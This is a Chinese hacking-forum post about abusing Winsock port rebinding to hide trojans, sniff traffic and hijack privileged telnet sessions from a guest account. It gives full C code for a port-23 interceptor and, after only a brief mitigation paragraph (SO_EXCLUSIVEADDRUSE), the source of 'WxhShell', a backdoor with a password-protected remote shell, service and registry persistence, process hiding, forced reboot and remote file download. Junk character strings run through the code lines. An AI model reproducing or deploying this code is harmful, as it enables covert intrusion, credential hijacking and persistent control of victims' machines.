社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16019阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iZC>)&ax  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >$Fp}?xX  
N=q#y@L  
  saddr.sin_family = AF_INET; <o2,HTWNPS  
b(/j\NWC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [M`=HhJ4  
XJc ,uj7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C1 tb`  
UAdz-)$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |4 Qx=x>  
p:Oz<P  
  这意味着什么?意味着可以进行如下的攻击: -'j7SOGk  
eap8*ONl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (nq^\ZdF  
_p0)vT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f$vwuW  
?HV}mS[t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t-x[:i  
zOL;"/R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;uK";we  
*<7l!#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g@Ld"5$^2  
#,TELzUVE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -;vT<G3  
) y`i@S}J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x7H A722w  
]W;:|/,c  
  #include zz&vfO31J  
  #include p3 e|j  
  #include b;*c:{W)  
  #include    EZ/^nG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W+K.r?G<j  
  int main() Xo\S9,s{  
  { eSn$k:\W  
  WORD wVersionRequested; VtWT{y5Ec  
  DWORD ret; _W}(!TKO  
  WSADATA wsaData; 1 =^  
  BOOL val; sCkO0dl8  
  SOCKADDR_IN saddr; (vnoP< 0  
  SOCKADDR_IN scaddr; Cs#w72N  
  int err; JYQ.EAsr!  
  SOCKET s; )nOE 8y/  
  SOCKET sc; ctHEEFWm  
  int caddsize; F{\=PCZ>7  
  HANDLE mt; @y5=J`@=  
  DWORD tid;   =DC 3a3&%  
  wVersionRequested = MAKEWORD( 2, 2 ); ~;8I5Sge  
  err = WSAStartup( wVersionRequested, &wsaData ); x}|+sS,g  
  if ( err != 0 ) { FfG%C>E6~  
  printf("error!WSAStartup failed!\n"); V 9Hl1\j^  
  return -1; .;g}%C  
  } IT18v[-G  
  saddr.sin_family = AF_INET; rI>LjHP  
   y6FKg)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7E\g &R.  
o0l7 4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <aXoB*Y  
  saddr.sin_port = htons(23); C `6S}f,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mb.4J2F?  
  { H{%H^t>  
  printf("error!socket failed!\n"); T pD;  
  return -1; *{|$FQnR>(  
  } Pj&A=  
  val = TRUE; L#2ZMy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Bzw19S6y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {[P!$ /  
  { M*(H)i;s:w  
  printf("error!setsockopt failed!\n"); \7 Gz\=\LR  
  return -1; 1O0X-C,wo$  
  } +{e`]t>_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7]Rk+q2:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -=mwy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VE$t%QT  
6@YH#{~Zpv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zSXA=   
  { Ha)np  
  ret=GetLastError(); $w/E9EJ)3A  
  printf("error!bind failed!\n"); mX;H((  
  return -1; Cfv]VQQE  
  } p/&HUQQk  
  listen(s,2); P0 b4Hq3  
  while(1) ({ k7#1 h8  
  { jkt 6/H  
  caddsize = sizeof(scaddr); ^1 ;BiQ  
  //接受连接请求 P,ydt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^V .'^=l  
  if(sc!=INVALID_SOCKET) h/?6=D{  
  { SY T$3|a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;MPKJS68@  
  if(mt==NULL) 9go))&`PJL  
  { CN\=9Rvs  
  printf("Thread Creat Failed!\n"); yb?|Eww_o  
  break; l'uOORI  
  } $8g42LR'  
  } p9iu:MucD<  
  CloseHandle(mt); V;;#/$oU:4  
  } N}mh}  
  closesocket(s); ~},W8\C>  
  WSACleanup(); Z0\Iyc G  
  return 0; t^U^Tr  
  }   AY88h$a  
  DWORD WINAPI ClientThread(LPVOID lpParam) R6P\T\~E  
  { QC7k~I8  
  SOCKET ss = (SOCKET)lpParam; CA*~2|  
  SOCKET sc; #xp(B5  
  unsigned char buf[4096]; m9t$h  
  SOCKADDR_IN saddr; g "*;nHI D  
  long num; H=<LutnZ  
  DWORD val; F#|Z# Mu  
  DWORD ret; RRzP* A%=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fGarUV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %b?uW] j:  
  saddr.sin_family = AF_INET; th 2<o5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b-%l-u  
  saddr.sin_port = htons(23); f^e&hyC   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8,*3zVk-  
  { Q0>q:aj\  
  printf("error!socket failed!\n"); 'RLOV  
  return -1; CXAVGO'xw  
  } |}Ph"g2D,  
  val = 100; 5g0_WpO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) onnugj3  
  { -_>.f(1  
  ret = GetLastError(); moG~S]  
  return -1; !\x?R6K  
  } "~\*If  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N RSU+D-z  
  { P }Te"Y  
  ret = GetLastError(); Uk'U?9O  
  return -1; vpLMhf`  
  } 1`l;xw1W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D#0O[F@l##  
  { h<NRE0-  
  printf("error!socket connect failed!\n"); <\aU"_D   
  closesocket(sc); ;?~ 9hN!  
  closesocket(ss); '[ 0YIn  
  return -1; Pa&4)OD  
  } u)~s4tP4  
  while(1) 9rcI+q=E  
  { Y[G9Vok VX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6fGK (r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .NnGVxc5*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1;&T^Gdj  
  num = recv(ss,buf,4096,0); tX?J@+  
  if(num>0) CDCC1BG"  
  send(sc,buf,num,0); 2f..sNz  
  else if(num==0) 9XOyj5  
  break; {Hk/1KG>  
  num = recv(sc,buf,4096,0); %VJW@S>j/  
  if(num>0) _yVPpA[a  
  send(ss,buf,num,0); 4f {+pf^R  
  else if(num==0) c0[k T  
  break; 6Xa.0(h  
  } ^73=7PZ  
  closesocket(ss); ~:Mm<*lL%  
  closesocket(sc); }N,>A-P  
  return 0 ; e{!vNJ0`  
  } H(> M   
 Zi4d]  
=DMbz`t  
========================================================== 28oJFi]  
UvBnf+,  
下边附上一个代码,,WXhSHELL ug&92Hdvy3  
ny1 \4C  
========================================================== 8R4qU!M  
Sk=N [hwU  
#include "stdafx.h" w~N-W8xNR  
jdlG#j-\  
#include <stdio.h> 7zGMkl  
#include <string.h> &yLc1#H  
#include <windows.h> O?E6xc<8  
#include <winsock2.h> _9kIRmT{  
#include <winsvc.h> Tl3"PIb  
#include <urlmon.h> 6K 4+0xXv  
d~`-AC+  
#pragma comment (lib, "Ws2_32.lib") W4vBf^eC  
#pragma comment (lib, "urlmon.lib") RIjM(P  
;rHz;]si  
#define MAX_USER   100 // 最大客户端连接数 /b{HG7i\  
#define BUF_SOCK   200 // sock buffer [`nY2[A$  
#define KEY_BUFF   255 // 输入 buffer C +@ i  
fS I%c3  
#define REBOOT     0   // 重启 * nCx[  
#define SHUTDOWN   1   // 关机 9L  HuS  
Tz` ,{k  
#define DEF_PORT   5000 // 监听端口 g+|Bf&_  
v}P!HczmMP  
#define REG_LEN     16   // 注册表键长度 &t6Tcy  
#define SVC_LEN     80   // NT服务名长度 N-QCfDao  
`~nCbUUee  
// 从dll定义API 8 u:2,l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 61:9(*4~!F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 40.AM1Z0f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hdg<bZk:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v[L[A3`"/  
P) 1 EA;  
// wxhshell配置信息 HNMBXXf, B  
struct WSCFG { 6"%2,`Nu  
  int ws_port;         // 监听端口 3 Gd|YRtk  
  char ws_passstr[REG_LEN]; // 口令 (\& 62B1  
  int ws_autoins;       // 安装标记, 1=yes 0=no kzi|$Gs<  
  char ws_regname[REG_LEN]; // 注册表键名 zlkWU  
  char ws_svcname[REG_LEN]; // 服务名 @L8;VSI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z4@y?f v7s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "L@g3g?|`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =4>@8=JA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OX3Xy7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qZbHMTnT6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e5OVq ,  
*"T+G*~  
}; |Puj7Ru  
0jTMZ<&zZ  
// default Wxhshell configuration j_c+.iET  
struct WSCFG wscfg={DEF_PORT, e& Rb  
    "xuhuanlingzhe", vgAFuQi(  
    1, 5/(sjMB  
    "Wxhshell",  XhA4:t  
    "Wxhshell", B5`;MQJ  
            "WxhShell Service", Yxq j -   
    "Wrsky Windows CmdShell Service", u){S$</  
    "Please Input Your Password: ", ~U%j{8uH  
  1, OG}KqG!n  
  "http://www.wrsky.com/wxhshell.exe", ?O7iK<5N  
  "Wxhshell.exe" kf K[u/<i  
    }; (9'be\  
Yb9cW\lr  
// 消息定义模块 0BDS_Rx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w4A#>;Qu*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rKIRNc#d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 24X=5Aj  
char *msg_ws_ext="\n\rExit."; H:MUNc8i  
char *msg_ws_end="\n\rQuit."; yHOqzq56  
char *msg_ws_boot="\n\rReboot..."; -TZ^~s  
char *msg_ws_poff="\n\rShutdown..."; "XB4yExy  
char *msg_ws_down="\n\rSave to "; A]xCF{*)&  
zq=&4afOE  
char *msg_ws_err="\n\rErr!"; +7Rt{C,  
char *msg_ws_ok="\n\rOK!"; 8]]@S"ZM,\  
DaDUK?  
char ExeFile[MAX_PATH]; O! (85rp/  
int nUser = 0; #JFYws  
HANDLE handles[MAX_USER]; Gh iHA9.  
int OsIsNt; nX 8B;*p6b  
0%H24N 9.  
SERVICE_STATUS       serviceStatus; }VZM,.w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8<c' x]~  
+C5#$5];  
// 函数声明 GGM5m|4  
int Install(void); X+*<B(E  
int Uninstall(void); &Ea"hd  
int DownloadFile(char *sURL, SOCKET wsh); WL/5 oj  
int Boot(int flag); R#LGFXUj  
void HideProc(void); i'iO H|s  
int GetOsVer(void); g-|Kyhr?=  
int Wxhshell(SOCKET wsl); b=G4MZQ  
void TalkWithClient(void *cs); b~9`]+  
int CmdShell(SOCKET sock); QA,*:qx  
int StartFromService(void); q;No"_aAd  
int StartWxhshell(LPSTR lpCmdLine); D}Au6  
 +Lhe,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PJ;.31u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W1`Dx(g  
:mn(0 R~  
// 数据结构和表定义 pJocI_v9  
SERVICE_TABLE_ENTRY DispatchTable[] = PY\W  
{ jJ<;2e~OW  
{wscfg.ws_svcname, NTServiceMain}, (gD Q\t@3-  
{NULL, NULL} X98#QR#m  
}; lJlhl7  
"]<w x_!+}  
// 自我安装 0}D-KvjyP  
int Install(void) 4uPH  
{ y:C)%cv}*  
  char svExeFile[MAX_PATH]; T;J7+0  
  HKEY key; $)f"K  
  strcpy(svExeFile,ExeFile); l-cW;b~  
s!aO*\[<h  
// 如果是win9x系统,修改注册表设为自启动 y,V6h*x2  
if(!OsIsNt) {  d~sJ=)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M6&~LI.We=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T:6K?$y?  
  RegCloseKey(key); `ReGnT[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dB@FI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #1B}-PGCm  
  RegCloseKey(key); Enu!u~1]F  
  return 0; hAlPl<BO#V  
    } m|lM.]2_  
  } W w^7^q&  
} aU4R+.M7@  
else { }\DAg'e)  
i`R(7Z  
// 如果是NT以上系统,安装为系统服务 ^K"ZJ6?+1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :q(D(mK  
if (schSCManager!=0) B_!wutV@  
{ ]I8]mUiUH  
  SC_HANDLE schService = CreateService NtqFnxm/  
  ( 9@Q&B+!  
  schSCManager, O%52V|m}{  
  wscfg.ws_svcname, 27Cz1[oX  
  wscfg.ws_svcdisp, */4tJ G1U  
  SERVICE_ALL_ACCESS, ?P%|P   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <o ~t$TH  
  SERVICE_AUTO_START, &{BBxv)y  
  SERVICE_ERROR_NORMAL, ?THa5%8f  
  svExeFile, > n1h^AW  
  NULL, We\KDU\n  
  NULL, [;*\P\Xih  
  NULL, 40R"^*  
  NULL, VZHr-z$6n  
  NULL 28ja-1dB  
  ); gU~ L@R_D  
  if (schService!=0) > CH  
  { 1E8$% 6VV  
  CloseServiceHandle(schService); uL bp.N8  
  CloseServiceHandle(schSCManager); )y(oHRCp->  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &<`-:x12_  
  strcat(svExeFile,wscfg.ws_svcname); u2 Y N[|V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1>hb-OMX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hH#lTye  
  RegCloseKey(key); pa> p%  
  return 0; `(P "u  
    } W8< @sq~I  
  } Y$>+U  
  CloseServiceHandle(schSCManager); PL9<*.U"=  
} '^8g9E .4K  
} (Z5q&#f  
[?A&xqO3  
return 1; HJc<Gwm  
} fn3*2  
K *TnUQ  
// 自我卸载 L^6"' #  
int Uninstall(void) p@vpd  
{ O5u cI$s  
  HKEY key; u$apH{  
J 0&zb'1  
if(!OsIsNt) { Tc9&mKVE%(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n'q aR<bY  
  RegDeleteValue(key,wscfg.ws_regname); $I\))*a  
  RegCloseKey(key); d:A\<F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^g}L`9fL  
  RegDeleteValue(key,wscfg.ws_regname); WfRVv3Vm  
  RegCloseKey(key); [|y`y%  
  return 0; 2TE\4j  
  } 8b-7]%  
} }*0,>w>  
} f+{c1fb>s  
else { a:=q8Qy  
TihnSb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Uc <;> l  
if (schSCManager!=0) )>ug{M%g  
{ "w>rlsT<O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o^8*aH)I>Y  
  if (schService!=0) 4 U3C~J  
  { :x8Jy4L  
  if(DeleteService(schService)!=0) { Ga]47pQ"F  
  CloseServiceHandle(schService); d#E(~t(^  
  CloseServiceHandle(schSCManager); `Q:de~+AM{  
  return 0; ~ &t!$  
  } {k kAqJ  
  CloseServiceHandle(schService); i:C.8hmAE  
  } ;+TMx(  
  CloseServiceHandle(schSCManager); h1n*WQ-  
} &\JK%X.Jlt  
} d,zp `S  
Q1aHIc  
return 1; 976E3u"Vt  
} " ]aQ Hh]f  
AEB/8%l};v  
// 从指定url下载文件 3X,]=f@_  
int DownloadFile(char *sURL, SOCKET wsh) H0: iYHu  
{ np<f,  
  HRESULT hr; es. jh  
char seps[]= "/"; Kl4isGcr]  
char *token; 7h(HG?2Y  
char *file; !y.ei1diw  
char myURL[MAX_PATH]; KK@ &q  
char myFILE[MAX_PATH];  aeEw#  
OG0r4^6Ly  
strcpy(myURL,sURL); 7xX;MB &  
  token=strtok(myURL,seps); `Af{H/qiI  
  while(token!=NULL) D."cQ<sxpN  
  { _{N0OX  
    file=token; T+`xr0  
  token=strtok(NULL,seps); N7d17c. 5  
  } (J6" ;  
"9c.CI  
GetCurrentDirectory(MAX_PATH,myFILE); D2Vb{%(4.  
strcat(myFILE, "\\"); *rS9eej  
strcat(myFILE, file); 6Hc H'nmeN  
  send(wsh,myFILE,strlen(myFILE),0); H+S~ bzz  
send(wsh,"...",3,0); Ly#h|)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~%olCxfO  
  if(hr==S_OK) TX< e_[$\  
return 0; t#fs:A7P?}  
else pem3G5 `g=  
return 1; 17J}uXA   
lt@  
} m-:8jA?  
It#hp,@e  
// 系统电源模块 !F=|*j  
int Boot(int flag) &p/S>qKu#  
{ :iP>z}h  
  HANDLE hToken; |pfhrwJp  
  TOKEN_PRIVILEGES tkp; M'pb8jf  
2#>$%[   
  if(OsIsNt) { FZ[@])B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X=rc3~}f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '"!z$i~G=  
    tkp.PrivilegeCount = 1; \[Sm2/9v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s`$NW^']  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =gxgS<bde  
if(flag==REBOOT) { vGx?m@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @5{.K/s  
  return 0; <'PR;g^#  
} h Jfa_  
else { 3MNhH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'Qm` A=  
  return 0; '5|Q<5!o  
} CL)1Q  
  } Ss"|1]acP  
  else { 8>C; >v  
if(flag==REBOOT) { zWCW:dI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b*I&k":  
  return 0; YQN]x}:E+4  
} .Q=2WCv0  
else { ( z8]FT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D8r>a"gx  
  return 0; P<j4\zJ  
} &{-oA_@  
} Q3<bC6$r  
,!o\),N  
return 1; an*]62l  
} fe& t-  
ikEWY_1Y  
// win9x进程隐藏模块 w Mlf3Uz  
void HideProc(void) !Z<mrr;T@  
{ `jD8(}_  
/|4Q9=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dWzDSlP&  
  if ( hKernel != NULL ) R&u)=~O\5  
  { WUE)SVf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^kCk^D-Gz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -XS+Uv  
    FreeLibrary(hKernel); u)q2YLK8  
  } e3yorQ][  
KuIt[oM  
return; e.)yV'%L  
} EIq{C-(  
Ze$^UR  
// 获取操作系统版本 b>hBct}  
int GetOsVer(void) iQ]T+}nn_  
{ y1,?ZWTayr  
  OSVERSIONINFO winfo; RZ#alFL,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JfZL?D{NM  
  GetVersionEx(&winfo); C?GvTc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^%K1R;  
  return 1; ;,F-6RNj  
  else rh:s 7  
  return 0; TTA{#[=7  
} d&PE,$XC  
VYl_U?D  
// 客户端句柄模块 bqw/O`*wfN  
int Wxhshell(SOCKET wsl) A&NC0K}G!  
{ D\45l  
  SOCKET wsh; zh#OD{  
  struct sockaddr_in client; ue6/EN;}  
  DWORD myID; ,$MWk(S  
bm|Jb"T0b  
  while(nUser<MAX_USER) Nt`F0 9S  
{ Z/V`Z* fy  
  int nSize=sizeof(client); UA69_E{JCH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )#b}qc#`  
  if(wsh==INVALID_SOCKET) return 1; _/QKWk&j  
*([0"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )V[w:=*  
if(handles[nUser]==0) yiv RpSL  
  closesocket(wsh); n}AR/3}  
else wf~5lpI[  
  nUser++; :,h=2a_ 8  
  } {<- ouD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ak\D6eHcB  
Pqr Ou  
  return 0; 7':5  
} (]zl$*k  
k=h/i8i2z  
// 关闭 socket u):%5F/  
void CloseIt(SOCKET wsh) mC{!8WC@k  
{ mFgb_Cd  
closesocket(wsh); ),D`ZRXS  
nUser--; gZ `#tlA~  
ExitThread(0); i GEQXIr3  
} SHXa{-  
0,vj,ic*WX  
// 客户端请求句柄 :|3"H&FWK  
void TalkWithClient(void *cs) C1#o<pv  
{ t?%}hs\!  
zn2"swhq\V  
  SOCKET wsh=(SOCKET)cs; >0g `U  
  char pwd[SVC_LEN]; J[& 7,}  
  char cmd[KEY_BUFF]; N8DiEB3~  
char chr[1]; WV,?Ge  
int i,j; X*0eN3o.  
_-|yCo  
  while (nUser < MAX_USER) { D*d 3w  
|h^G$guw  
if(wscfg.ws_passstr) { vjs|!O=oH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wa(Wit"-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T9<H%iF  
  //ZeroMemory(pwd,KEY_BUFF); ;i-D~Np|  
      i=0; ^huBqEs  
  while(i<SVC_LEN) { ^V XXq  
n7`.<*:  
  // 设置超时 Sq?6R}q%  
  fd_set FdRead; >n$E e J  
  struct timeval TimeOut; ;4S [ba1/  
  FD_ZERO(&FdRead); ?v)"%.  
  FD_SET(wsh,&FdRead); $X.'W\o|  
  TimeOut.tv_sec=8; (zM+7tJH  
  TimeOut.tv_usec=0; 43}&w.AS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (<> Sz(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C~ }Wo5  
 eo<~1w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WoClTb>F  
  pwd=chr[0]; -Iruua7b  
  if(chr[0]==0xd || chr[0]==0xa) { 8CnvvMf  
  pwd=0; 2t]! {L  
  break; X*>o9J45V  
  } \DcC1W  
  i++; ys.!S.k+  
    } :nbW.B3GV  
mk[d7Yt{O  
  // 如果是非法用户,关闭 socket iaa (ce  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \fM!^  
} m|#(gX|F  
]mD=Br*r~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8ZNd|\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e $/Zb`k  
qN`]*baS  
while(1) { 2\z`G  
B!E<uVC  
  ZeroMemory(cmd,KEY_BUFF); 0o"<^] _|  
@WDqP/4  
      // 自动支持客户端 telnet标准   X/;"CM  
  j=0; R<0!?`b  
  while(j<KEY_BUFF) { ,39$iHk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~qLhZR\g^  
  cmd[j]=chr[0];  ZZFI\o  
  if(chr[0]==0xa || chr[0]==0xd) { !+*?pq  
  cmd[j]=0; +poIgjq0  
  break; *{;A\sL  
  } @h7GTA \  
  j++; ]uj.uWD  
    } Tm~#wL +r  
U*qK*"k  
  // 下载文件 !Pi? !  
  if(strstr(cmd,"http://")) { 9V4V}[%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t-<[._:+  
  if(DownloadFile(cmd,wsh)) 2Z IpzH/8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8w@W8(3B  
  else u7y7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nE "b`  
  } .}hZ7>4-  
  else { 2h? r![  
fY\tvo%  
    switch(cmd[0]) { 4K?H-Jco  
  {If2[4!z  
  // 帮助 7N~qg 7&  
  case '?': { #35S7G^@`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BI]ut |Qw  
    break; ~cg+BAfu  
  } W*/s4 N  
  // 安装 n`I jG  
  case 'i': { nO.+&kA  
    if(Install()) ;~1/eF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _6ax{:/Q  
    else C5lD Hw[CX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^J5V!i$  
    break; ~3-YxCn%  
    } oj4)7{  
  // 卸载 }HQT@&=  
  case 'r': { ,IVr4#w0=  
    if(Uninstall()) +KwF U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e[ k;SSs  
    else PK`(qK9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xde=}9  
    break; r;6YCI=z  
    } 0R^(rE"2#  
  // 显示 wxhshell 所在路径 VV}fW"_ND  
  case 'p': { iN9!?Ov_  
    char svExeFile[MAX_PATH]; _~#C $-T  
    strcpy(svExeFile,"\n\r"); \3:{LOr%*  
      strcat(svExeFile,ExeFile); y@8399;l  
        send(wsh,svExeFile,strlen(svExeFile),0); 9q@YE_ji  
    break; (XIq?c1T  
    } #]\G*>{  
  // 重启 yI|?iBc7nC  
  case 'b': { vhe Ah`u^&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OFAqP1o{$  
    if(Boot(REBOOT)) {j=hQL3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <!HD tN  
    else { 8/kO9'.P  
    closesocket(wsh); b yreleWo  
    ExitThread(0); BRok 89  
    } H><mcah  
    break; ORPl^n-  
